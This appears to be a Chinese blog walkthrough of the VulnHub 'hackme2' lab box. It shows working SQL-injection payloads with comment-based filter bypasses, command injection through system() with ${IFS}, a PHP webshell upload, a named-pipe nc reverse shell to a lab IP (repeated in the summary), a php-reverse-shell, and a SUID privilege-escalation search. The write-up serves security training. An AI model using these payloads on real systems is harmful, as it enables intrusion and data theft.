vulnhub--hackme2-DHCP

描述

“ hackme2”是中等难度级别的框。这是hackme系列的第二部分,其中更多的控制措施可以阻止恶意攻击。此外,您还必须开箱即用,以利用漏洞。目标是通过Web漏洞获得受限的特权访问,然后特权以root用户身份升级。该实验室的创建是为了模拟现实世界中的网络漏洞。

hackme2使用DHCP并可能在mysqld自行关闭(非常罕见的情况)的情况下,尝试强制重启机器,并且随后应能正常工作。

 https://github.com/swisskyrepo/PayloadsAllTheThings

 https://idc.wanyunshuju.com/vul/1947.html

目录

一、信息收集

1.nmap扫描:

二、漏洞探测

三、漏洞利用

1.手工注入

2.文件上传&命令注入

3.蚁剑连接

四、后渗透&提权

1. 交互环境

2.提权

五、总结


一、信息收集

1.nmap扫描:

http: //192.168.155.140

 

二、漏洞探测

访问http://192.168.155.140/login.php

 

注册一个新账号,我暴力破解得到了一个测试账号:

test/testtest

探测SQL格式,WAF规则

本搜索框的功能是检索数据库中的书名、当搜索框为空的时候,可以返回所有的内容,

当搜索框中只包含书名的前一部分的时候,也可以返回对应的内容:

 

因此我们猜测SQL语句格式为(%代表通配符,可以匹配零个或者多个任意字符):

$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"

基于此,我们构造如下payload:

Linux%' and '123' like '1

 

使用另一个payload:Linux%' and '23' like '1

发现无法返回结果

 

可以验证我们的想法。

然而我们使用数据库函数的时候却出现了问题:

Payload:Linux%' and database() like'

没有返回内容,而当我们使用注释符来代替空格的时候,则可以执行成功。

Linux%'/**/and/**/database()/**/like/**/'

 

三、漏洞利用

1.手工注入

 

通过构造联合查询,一步一步获取出数据库名,表名,列名和字段

Linux%'/**/union/**/select/**/database(),2,3/**/like'

 

Linux%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp

 

Linux%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'and/**/table_schema/**/like'webapp

 

Linux%'/**/union/**/select/**/group_concat(user),group_concat(pasword),3/**/from/**/users/**/where/**/'1'/**/like/**/'

2386acb2cf356944177746fc92523983:Uncrackable

解密得到:superadmin/Uncrackable

 

退出,superadmin登入

 

2. 文件上传&命令注入

文件可以正常上传,但是无法访问,无论是图片文件还是其他文件,uploads文件夹不存在。

寻找其他功能点。

 

接下来我们注意到下面两个输入框,可以将处理结果回显到页面上,这里我除了想到XSS之外。还想到了测试命令注入或者模板注入。可以发现在Last Name输入框里输入7*7,可以返回49

 

攻击完成之后可以发现 system('ls') 这个payload有命令执行的回显。

 

 

我们换其他命令来执行,例如pwd,ls都可以正确执行而cat命令无法执行,猜测其过滤了空格,我们使用cat

可以看到在返回包里泄露的welcomeadmin.php的完整源代码,包括文件上传的绝对路径。

`cat<welcomeadmin.php`

system('cat${IFS}welcomeadmin.php')

 

上传图片码123m.jpg并通过命令执行修改后缀mm6.php

 

system('mv${IFS}/var/www/html/uploads/year2020/123m.jpg${IFS}/var/www/html/uploads/year2020/mm6.php')

访问http://192.168.155.140/uploads/year2020/mm6.php

一句话木马上传并修改成功.

 

 

3.蚁剑连接

 

四、后渗透&提权

1. 交互环境

1)用kali自带的weevely生成木马并连接,完成连接之后使用nc反弹shell:由于靶机的nc版本特殊,无法使用nc -e选项,

因此这里使用了如下的payload

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.155.134 4444 >/tmp/f

 

 

使用python将shell升级为交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

 

 

2)php-reverse-shell

通过蚁剑上传php-reverse-shell.php

nc监听,ncat -lvp 1234

访问http://192.168.155.140/uploads/year2020/php-reverse-shell.php

得到shell

 

2.提权

find / -perm -4000 2> /dev/null

home/legacy/touchmenot 文件可疑

 

执行一下之后发现顺利get root权限。

 

五、总结

  • 猜测SQL语句格式为(%代表通配符,可以匹配零个或者多个任意字符):$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"
  • Linux%'/**/union/**/select/**/database/**/(),'2','3 /**/ 绕过空格
  • `cat<welcomeadmin.php` < 绕过空格命令执行
  • system('cat${IFS}welcomeadmin.php') ${IFS}绕过空格命令执行
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.155.134 4444 >/tmp/f
  • php-reverse-shell
  • find / -perm -4000 2> /dev/null   查看可提权信息
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值